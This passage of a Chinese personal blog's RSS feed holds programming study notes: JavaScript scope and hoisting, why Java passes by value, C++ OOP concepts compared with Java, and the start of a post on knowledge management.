&lt;p&gt;&lt;strong&gt;但是&lt;/strong&gt;又不像C++/Java那样，一个brace&lt;code&gt;{}&lt;/code&gt;就新建一个作用域（块作用域）。在js里头只有函数&lt;code&gt;function () {}&lt;/code&gt;才会新建一个作用域（先撇开ES6）。比如下面这个if语句，就不会创建出一个新作用域&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (114514) {
    var a = [114, 514];
}
console.log(a); // [114, 514]

// 变量提升
if (!1) {
    var a = [114, 514];
}
console.log(a); // undefined

function fn () {
    var b = 114514; 
}
fn();
console.log(b); // ReferenceError: b is not defined
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;块作用域&lt;/h3&gt;
&lt;p&gt;这个东西在ES6才引入进来。简单来说，就是像C++/Java那样的作用域--用一个brace即大括号&lt;code&gt;{}&lt;/code&gt;就能创建一个新作用域。&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;let&lt;/code&gt;, &lt;code&gt;const&lt;/code&gt;和&lt;code&gt;class&lt;/code&gt;声明的变量都能拥有块作用域。比如这样做就会报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    class Bar {
        constructor() {}
    }
}

let b = new Bar(); // ReferenceError: Bar is not defined
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;作用域链&lt;/h2&gt;
&lt;p&gt;每一个上下文都有一个拥有该作用域的变量信息的对象，作用域链就可以看作是这些对象的链接。（之前看过的红宝书）&lt;/p&gt;
&lt;p&gt;简单的说法就是，当前的执行上下文要寻找变量，就会顺着作用域链来找，找不到继续向上找，以此类推，直到到达全局作用域或找到该变量为止（很像原型链）。&lt;/p&gt;
&lt;p&gt;其中，在当前作用域找不到的变量，便叫做自由变量。&lt;/p&gt;
&lt;p&gt;注意：函数的参数的作用域为当前函数的执行上下文。&lt;/p&gt;
&lt;p&gt;但是是要注意，作用域是在运行前的&lt;strong&gt;解释阶段&lt;/strong&gt;（包含了语法和词法分析以及作用域的确定）就已经被确定的了。与上下文相比，上下文是在运行时（创建Context =&amp;gt; 执行函数）才确定的，常见的就是关于&lt;code&gt;this&lt;/code&gt;的问题了。&lt;/p&gt;
&lt;p&gt;比如下面的代码，此处的x就是自由变量，于是就会循着作用域链往外面找，找到之后就固定下来了，运行时不会再发生什么变化了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var x = 114514;
var f = function () {
    console.log(x);
}
var fn = function (func) {
    var x = 1919810;
    if (typeof func === &apos;function&apos; &amp;amp;&amp;amp; func) {
        func();
    }
}
fn(f); // 114514;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;变量提升&lt;/h2&gt;
&lt;p&gt;分别var与函数提升，以及let, const和class的提升。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：函数提升的同时还顺便定义了，而不像&lt;code&gt;var&lt;/code&gt;那样只提升，而要到对应行数才被定义。&lt;/p&gt;
&lt;p&gt;由于变量声明这些工作是在解释阶段确定的，一般&lt;strong&gt;就等价于&lt;/strong&gt;（不是真把声明物理地搬到作用域的开头来）在该变量的作用域的开头声明，而在具体位置行数上进行赋值。&lt;/p&gt;
&lt;h3&gt;var和function&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;console.log(x); // undefined
var x = 114514;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等价于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var x;
console.log(x);
x = 114514;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数也同理，这可能就是我们为什么可以调用在下面才声明的函数(非&lt;code&gt;let&lt;/code&gt;, &lt;code&gt;const&lt;/code&gt;声明的函数)一样。&lt;/p&gt;
&lt;h3&gt;ES6&lt;/h3&gt;
&lt;p&gt;ES6加了块作用域，虽然&lt;code&gt;let&lt;/code&gt;, &lt;code&gt;const&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;这些声明&lt;strong&gt;也会提升&lt;/strong&gt;，但是只&lt;strong&gt;等价&lt;/strong&gt;于提升到块级作用域的开头，赋值前的区域就叫做临时死区TDZ(Temporary Dead Zone)。&lt;code&gt;let&lt;/code&gt;和&lt;code&gt;const&lt;/code&gt;声明的变量或常量在被赋值前访问，会出现错误（&lt;code&gt;class&lt;/code&gt;不会）。比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ // TDZ starts at beginning of scope
  console.log(bar); // undefined
  console.log(foo); // ReferenceError
  var bar = 1;
  let foo = 2; // End of TDZ (for foo)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;写在后面&lt;/h2&gt;
&lt;p&gt;谁说JavaScript是简单的语言（狗头保命）&lt;/p&gt;
</content:encoded><category>JavaScript</category></item><item><title>为什么Java只能按值传递</title><link>https://situ2001.com/blog/java/why-only-pass-by-value/</link><guid isPermaLink="true">https://situ2001.com/blog/java/why-only-pass-by-value/</guid><description>为什么Java只能按值传递</description><pubDate>Thu, 08 Apr 2021 14:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;为什么我会突然想写一篇毫无卵用的文章...&lt;/p&gt;
&lt;p&gt;众所周知，在学习Java或者JavaScript（亦或者更多其他的OOP语言）的时候，到面向对象部分，一定会碰到reference variable吧。即是对对象的引用变量。&lt;/p&gt;
&lt;p&gt;然后来到调用方法传参的时候，会有这种东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void test(Foo foo) {}

// main
Foo foo = new Foo();
test(foo);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;书上告诉我，这种属于pass-by-value，并且在Java里头也只能以值传参。&lt;/p&gt;
&lt;p&gt;之前的我：这不是传对对象的引用变量吗，怎么是按值传递呢？&lt;/p&gt;
&lt;p&gt;现在的我：噢...之前的我太naive了&lt;/p&gt;
&lt;p&gt;首先，大家都知道Java的对象都是new在堆上的（除了一些wrapper type比如Integer、Boolean这些会有一部分存在stack上）。&lt;/p&gt;
&lt;p&gt;那&lt;code&gt;new&lt;/code&gt;之后的具体流程是什么呢？&lt;/p&gt;
&lt;h2&gt;字节码&lt;/h2&gt;
&lt;p&gt;当然还是要靠&lt;code&gt;javap&lt;/code&gt;来得到字节码。比如下面这段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {}

public class Test {
    public static void main(String[] args) {
        Foo foo = new Foo();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;javap&lt;/code&gt;后得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: new           #7                  // class test/Foo
3: dup
4: invokespecial #9                  // Method test/Foo.&quot;&amp;lt;init&amp;gt;&quot;:()V
7: astore_1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么短短的一句&lt;code&gt;Foo foo = new Foo()&lt;/code&gt;就出现了。这么几条&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在堆上开辟一段未初始化的空间，并把object（应该是这块空间的内存地址）压入栈&lt;/li&gt;
&lt;li&gt;使用dup来复制多一份这个object&lt;/li&gt;
&lt;li&gt;使用invokespecial来调用&lt;code&gt;Foo.&amp;lt;init&amp;gt;&lt;/code&gt;，初始化这个对象，栈顶object被消耗，出栈&lt;/li&gt;
&lt;li&gt;把此时栈顶的object赋值给局部变量&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那如果不把这个栈上的值赋值给一个局部变量呢？我们把原代码中的新建对象并赋值给干掉，只剩&lt;code&gt;new Foo()&lt;/code&gt;。就会得到如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: new           #7                  // class test/Foo
3: dup
4: invokespecial #9                  // Method test/Foo.&quot;&amp;lt;init&amp;gt;&quot;:()V
7: pop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接pop掉了。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;类类型的变量上存的估计就是一个具体对象的地址的值了，而在赋值给其他变量或者传参时，传的就是这个值。&lt;/p&gt;
&lt;p&gt;所以Java只能&lt;code&gt;pass-by-value&lt;/code&gt;是很合理的&lt;/p&gt;
&lt;p&gt;&lt;s&gt;所以我为什么会写这篇文章...是为了水吗&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>Java使用者眼中的C++面向对象</title><link>https://situ2001.com/blog/notes/cpp-oop/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/cpp-oop/</guid><description>Java使用者眼中的C++面向对象</description><pubDate>Wed, 07 Apr 2021 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;要不是大一下学校的 OOP 课要讲 MFC...&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;update: 感谢学校 push 我学习 C++，现在读底层代码舒服好多好多（&lt;/p&gt;
&lt;p&gt;最后更新于 2020/04/07&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最后更新&lt;/strong&gt;于:2020/04/07，最新的就在这里看吧: &lt;a href=&quot;https://note.situ2001.com/cpp/OOP.html&quot;&gt;个人笔记&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;基于 java 中的 OOP 来学习 C++的 OOP（可 迁 移 学 习）（爆炸预定&lt;/p&gt;
&lt;p&gt;感觉 C++中的 OOP 多了好多东西啊（太菜了）&lt;/p&gt;
&lt;h2&gt;Operators&lt;/h2&gt;
&lt;p&gt;按优先级来说的。&lt;/p&gt;
&lt;p&gt;scope qualifier: &lt;code&gt;::&lt;/code&gt;，很直白，翻译过来就叫做作用域限定符&lt;/p&gt;
&lt;p&gt;member access: &lt;code&gt;.&lt;/code&gt;和&lt;code&gt;-&amp;gt;&lt;/code&gt;常见，前者是非指针变量用过的，后者是指针变量用的&lt;/p&gt;
&lt;p&gt;class 上的&lt;code&gt;:&lt;/code&gt;，如同 java 里的&lt;code&gt;extends&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Member function&lt;/h2&gt;
&lt;p&gt;这个其实怎么说呢，我就把它跟 java 里头的 instance method 混为一谈了。所以这样理解就没问题了。&lt;/p&gt;
&lt;h2&gt;Instantiation&lt;/h2&gt;
&lt;p&gt;无参数的话，&lt;strong&gt;不用带 parentheses&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test test1;

Test* test2 = new Test;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前者开在 stack 上，后者开在 heap 上。（java 直接扔 heap 上不香吗&lt;/p&gt;
&lt;h2&gt;Virtual function&lt;/h2&gt;
&lt;p&gt;函数就有非虚函数，虚函数和纯虚函数这三种了，太草了。由于 java 的对象方法默认就是&lt;code&gt;virtual&lt;/code&gt;的（JVM 调用指令&lt;code&gt;invokevirtual&lt;/code&gt;），然后 java 可以多态，要 invoke 的方法都是在 runtime 进行动态绑定的。所以 C++里头的函数虚不虚，就很好理解了。&lt;/p&gt;
&lt;p&gt;比如 java 里头定义一个父类抽象方法的话，子类来实现。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//father
public abstract void test();
//son
@Override
public void test() {
  /** do sth */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C++就要用到纯虚函数了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//father
virtual void test() = 0;
//son
virtual void test()
{
  /** do sth */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果父类的虚函数想有自己的实现的话，把&lt;code&gt;= 0&lt;/code&gt;去掉，加自己的实现即可（此时仍然有多态）。但此时的父类就不是抽象类了，可以被实例化。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Animal
{
    public:
    virtual void eat()
    {
        std::cout &amp;lt;&amp;lt; &quot;I am eating food.&quot; &amp;lt;&amp;lt; std::endl;
    }
};

class Chicken : public Animal
{
    public:
    virtual void eat()
    {
        std::cout &amp;lt;&amp;lt; &quot;I am eating hay&quot; &amp;lt;&amp;lt; std::endl;
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Override&lt;/h2&gt;
&lt;p&gt;该关键字(C++11)可以防止写虚函数重载的时候，不小心写错的大无语事件发生。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;virtual void eat() override;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Modifier&lt;/h2&gt;
&lt;p&gt;似乎因为没有 jvav 的 package，所以这么几个 modifier&lt;strong&gt;都没有了 package access 的 restriction&lt;/strong&gt;（因为根本没有 package 啊）。所以就很方便了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;public&lt;/code&gt;类的外部都能访问。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;protected&lt;/code&gt;&lt;strong&gt;自己和派生类&lt;/strong&gt;能访问。(！大不同！)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;private&lt;/code&gt;直接是私有，类里的能访问。&lt;/p&gt;
&lt;h2&gt;Static keyword&lt;/h2&gt;
&lt;p&gt;这个也没啥大区别的，唯一的小区别就是访问 static 的方法或变量需要使用 operator &lt;code&gt;::&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;还有，根据 C++17 前（艹）的标准。define 的时候必须要在类外面进行(除非为 const 的时候才能在类内做定义)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//class Test
public:
  static int i;

// outside the class
static int Test::i = 114514;

//main
Test::i // 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么要这样做呢？估计要等到了解 csapp 之后了（&lt;/p&gt;
&lt;h2&gt;Friend keyword&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The friend declaration appears in a class body and grants a function or another class access to private and protected members of the class where the friend declaration appears.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;class Test
{
public:
  friend void getNum(Test test)
  {
    std::cout &amp;lt;&amp;lt; test.num &amp;lt;&amp;lt; std::endl;
  }
private:
  int num = 114514;
};

// or
friend void getNum(Test test);

// outside of the class
void getNum(Test test)
{
  // implements here
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Test test;
getNum(test); // 114514
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然也可以在里头声明一个友元类，此时友元类里的成员函数都能访问到这个类的 private field&lt;/p&gt;
&lt;p&gt;前提是有一个该类的对象，才能进行访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//In class Test
friend class Friend;

//Friend
class Friend
{
  /** ... */
  /** have the access to private field of Test */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Inheritance&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Chicken : public Animal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继承的话，要注意，C++继承的 class 默认是 private 的，（前期 naive 认知）所以（不一定）要加个&lt;code&gt;public&lt;/code&gt;，&lt;s&gt;否则外部无法使用父类的方法。&lt;/s&gt;（&lt;s&gt;原来还能用 scope qualifier 艹&lt;/s&gt;）&lt;/p&gt;
&lt;p&gt;经查询继承类型有如下，比如上面的&lt;code&gt;public Animal&lt;/code&gt;就是公有继承了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;公有继承&lt;/li&gt;
&lt;li&gt;保护继承&lt;/li&gt;
&lt;li&gt;私有继承&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;原理是将所继承的父类 member 的 accessibility 给降级...&lt;code&gt;public&lt;/code&gt;-&amp;gt;&lt;code&gt;protected&lt;/code&gt;-&amp;gt;&lt;code&gt;private&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;比如在保护继承和私有的继承的情况下，如果想改变某一个 member 的 accessibility（比如原来是 public 或 protected 的，但是继承后降级），可以使用 scope qualifier...(差不多得了)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Animal
{
    int i = 1141514;
public:
    Animal() = default;
    void foo() {}
};

class Chicken : Animal
{
public:
    Animal::foo;
};

int main()
{
    Chicken foo;
    foo.foo();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Multiple inheritance&lt;/h2&gt;
&lt;p&gt;主要是用来当 Interface 用吧（C++的 OOP 没有 Interface...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Foo : public BaseFoo, public BaseBar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果有命名冲突就用 scope qualifier 吧...&lt;/p&gt;
&lt;p&gt;然后还有歧义的问题，就是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

class Base
{
public:
  Base() { std::cout &amp;lt;&amp;lt; &quot;Base was constructed&quot; &amp;lt;&amp;lt; &apos;\n&apos;; }
  void test()
  {
    std::cout &amp;lt;&amp;lt; &quot;tested&quot; &amp;lt;&amp;lt; &apos;\n&apos;;
  }
};

class Bar : public Base
{
public:
  Bar() { std::cout &amp;lt;&amp;lt; &quot;Bar was constructed&quot; &amp;lt;&amp;lt; &apos;\n&apos;; }
};

class Bar1 : public Base
{
public:
  Bar1() { std::cout &amp;lt;&amp;lt; &quot;Bar1 was constructed&quot; &amp;lt;&amp;lt; &apos;\n&apos;; }
};

class Foo : public Bar, public Bar1
{
public:
  Foo() { std::cout &amp;lt;&amp;lt; &quot;Foo was constructed&quot; &amp;lt;&amp;lt; &apos;\n&apos;; }
};

int main()
{
  Foo foo;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base was constructed
Bar was constructed
Base was constructed
Bar1 was constructed
Foo was constructed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 main 里加&lt;code&gt;foo.test()&lt;/code&gt;会报错&lt;code&gt;ambiguous access of &apos;test&apos;&lt;/code&gt;，因为每个 Bar 类都分别有自己的一个父类对象。如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base   Base
 |      |
Bar    Bar1
   \  /
    Foo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为避免这个问题，我们使用虚继承（virtual inheritance）...&lt;/p&gt;
&lt;p&gt;把两个 Bar 类的继承里的 modifier 加上关键字&lt;code&gt;virtual&lt;/code&gt;，就会得到如下，两者继承到了同一个父类对象上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base was constructed
Bar was constructed
Bar1 was constructed
Foo was constructed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时的继承关系为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   Base
  /   \
Bar    Bar1
  \   /
   Foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Constructors and member initializer lists&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;public:
  Chicken() : Animal(arg)
  {
    /** do sth */
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相似地，我们也可以用来给 field 初始化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private:
  std::string text = nullptr;
public:
  Foo() : text(&quot;114514&quot;)
  {
    /** do sth */
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Constructor and Destructor&lt;/h2&gt;
&lt;p&gt;常见，语法也是差不多，但是后者析构这个就没见过了（GC 擦屁股太香了&lt;/p&gt;
&lt;p&gt;类的析构和构造，都是默认缺省的（无参数），这点都一样，当然也可以自己写实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//class Test
~Test()
{
  std::cout &amp;lt;&amp;lt; &quot;instance deleted&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出栈或者&lt;code&gt;delete&lt;/code&gt;的时候会被隐式调用&lt;/p&gt;
&lt;p&gt;方法命名就这，直接是 constructor 前加 &lt;code&gt;~&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Copy Constructor&lt;/h2&gt;
&lt;p&gt;然后就是这个了，同上，这个东西也是默认缺省的，像这样，传的必须要是一个引用类型（不传引用？你可以想想套娃调用...）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test::Test(const Point&amp;amp;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中这个类型，可以 cv-qualified，其中&lt;code&gt;const&lt;/code&gt;主要是用来应对&lt;code&gt;rvalue&lt;/code&gt;的（&lt;code&gt;const T&amp;amp;&lt;/code&gt;和&lt;code&gt;T&amp;amp;&amp;amp;&lt;/code&gt;都能被赋值一个临时对象），如果 copy constructor 的参数类型不加&lt;code&gt;const&lt;/code&gt;那么这个就会报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// in a function body
return obj;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本来 java 中的引用变量赋值就是把 reference 给你而已。但是 C++直接给你弄了个了新对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//main
Test test;
Test test1 = test; //invoke Copy Constructor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用默认拷贝构造函数的时候，一切栈上的变量都被拷过去了(这不就是跟 struct 一模一样吗)。但是当然要自己实现的时候，就不是这样了（要自己一个一个加实现）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test test;
Test test1;
test1 = test; // This is operator overloading, NOT invoking copy constructor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此外，函数返回一个对象，传参(一个对象)进去函数的时候，也会调用 copy constructor&lt;/p&gt;
&lt;h2&gt;Move Constructor&lt;/h2&gt;
&lt;p&gt;C++11 开始加入了 rvalue reference，这是什么呢，一查 cpprefernce 就能看到短小精悍的解释&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rvalue references can be used to extend the lifetimes of temporary objects&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;两个字来说就是&lt;s&gt;续命&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;还有 std::move，类的构造器也有了移动构造函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//class Foo
public:
  Foo(Foo&amp;amp;&amp;amp; bar);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化并赋值一个新对象的时候，可以使用 Move constructor&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Foo foo1;
Foo foo2 = std::move(foo1);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pointer&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;this&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;this&lt;/code&gt;跟 java 一样，C++只有成员函数才有的。记得 member access 要用 operator &lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pointer to an object&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个 java 的引用变量是差不多的。声明也就这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ClassType* pointer;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用法也就那样，如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test test1;
Test* pointer = &amp;amp;test1;

Test* test2 = new Test;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Function definition&lt;/h2&gt;
&lt;p&gt;来自 cpluscplus.com&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The only difference between defining a class member function completely within its class or to include only the prototype and later its definition, is that in the first case the function will automatically be considered an inline member function by the compiler, while in the second it will be a normal (not-inline) class member function, which in fact supposes no difference in behavior&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Default and delete&lt;/h2&gt;
&lt;p&gt;如果有带参的 constructor，那么可以用&lt;code&gt;=default&lt;/code&gt;来写默认 constructor 如&lt;code&gt;Test(){}&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果要禁用某个函数，可以上&lt;code&gt;=delete&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Test() = default;
Test(const X&amp;amp;) = delete;
Test&amp;amp; operator=(const X&amp;amp;) = delete;

//main
Test test;
Test test1 = test; //wrong!
Test test2;
test2 = test3; //wrong!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Operator overloading&lt;/h2&gt;
&lt;p&gt;直接扔 cppreference 算了: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/operators&quot;&gt;直达&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意，一个重载运算符的函数，其 operand 必须有一个是枚举类型或者类类型。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When an operator appears in an expression, and at least one of its operands has a class type or an enumeration type&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实返回值赋给谁的这个问题，我想了想，估计可以直接与基本类型的运算挂钩。结合一下操作符运算的本质特点就可以了！&lt;/p&gt;
&lt;p&gt;对应到方法呢？比如&lt;code&gt;+&lt;/code&gt;是这样的，成员函数&lt;code&gt;a.operator+(b)&lt;/code&gt;，非成员函数&lt;code&gt;operator+(a, b)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是一些运算符是不能被重载为非成员函数的: &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;()&lt;/code&gt;, &lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有些运算符需要记录一下，代码扔到 snippet 里了&lt;/p&gt;
&lt;h2&gt;Const keyword&lt;/h2&gt;
&lt;p&gt;一般来说呢，&lt;code&gt;const&lt;/code&gt;是作用于它左边的（如果左边啥都没有的话就是作用于右边）。而这个关键字&lt;code&gt;const&lt;/code&gt;能作用于变量、&lt;strong&gt;成员&lt;/strong&gt;函数、类对象...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键&lt;/strong&gt;是有&lt;code&gt;const&lt;/code&gt;修饰的，就不能修改里面成员的内存空间。&lt;/p&gt;
&lt;p&gt;如果有&lt;code&gt;Foo const foo;&lt;/code&gt;，那么这个对象变量（或指针）就不能访问非 const 方法，也不能修改成员了。如果有一个 const 方法，那么在这个方法体内，不能访问非 const 方法，也不能修改成员变量。（实质在后面说了）&lt;/p&gt;
&lt;p&gt;而我查了 cppreference，里面这样说&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;const object - an object whose type is const-qualified, or a non-mutable subobject of a const object. Such object cannot be modified: attempt to do so directly is a compile-time error, and attempt to do so indirectly (e.g., by modifying the const object through a reference or pointer to non-const type) results in undefined behavior.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;并且 const 了的函数实质又是？是这样的，其实就是把这个函数里头的&lt;code&gt;*this&lt;/code&gt;给 const 掉了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the body of a cv-qualified function, *this is cv-qualified, e.g. in a const member function, only other const member functions may be called normally. (A non-const member function may still be called if const_cast is applied or through an access path that does not involve this.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Type casting&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/332030/when-should-static-cast-dynamic-cast-const-cast-and-reinterpret-cast-be-used&quot;&gt;面向 SO 编程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在 OOP 里头一般用到的 casting 关键字，一般有&lt;code&gt;static_cast&lt;/code&gt;, &lt;code&gt;dynamic_cast&lt;/code&gt;, &lt;code&gt;const_cast&lt;/code&gt;和&lt;code&gt;reinterpret_cast&lt;/code&gt;和 C 风格 cast）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;static_cast&lt;/code&gt;是安全地，隐式地在类型之间进行转换(比如 void, int, double, float)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dynamic_cast&lt;/code&gt;是在有继承关系的类之间的 up cast, down cast and side cast（虽然上者也可以&lt;/li&gt;
&lt;li&gt;&lt;code&gt;const_cast&lt;/code&gt;可以加减&lt;code&gt;const&lt;/code&gt;约束&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reinterpret_cast&lt;/code&gt;暴力 casting，不管啥的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

struct Base
{
  int a = 114514;
};

struct D : public Base
{
  int a = 1919810;
};

int main()
{
  D* d = new D;
  std::cout &amp;lt;&amp;lt; d-&amp;gt;a &amp;lt;&amp;lt; &apos;\n&apos;; // 1919810
  Base* b = dynamic_cast&amp;lt;Base*&amp;gt;(d); // upcast
  std::cout &amp;lt;&amp;lt; b-&amp;gt;a; // 114514
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>笔记</category></item><item><title>我是如何进行知识管理的</title><link>https://situ2001.com/blog/notes/how-do-i-manage-knowledge/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/how-do-i-manage-knowledge/</guid><description>信息爆炸，如何管理自己的知识?</description><pubDate>Mon, 29 Mar 2021 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Intro: 信息爆炸，如何管理自己的知识?&lt;/p&gt;
&lt;p&gt;好久没写的个人小分享~&lt;/p&gt;
&lt;p&gt;不过话说回来，适合自己的方法就是好方法。&lt;/p&gt;
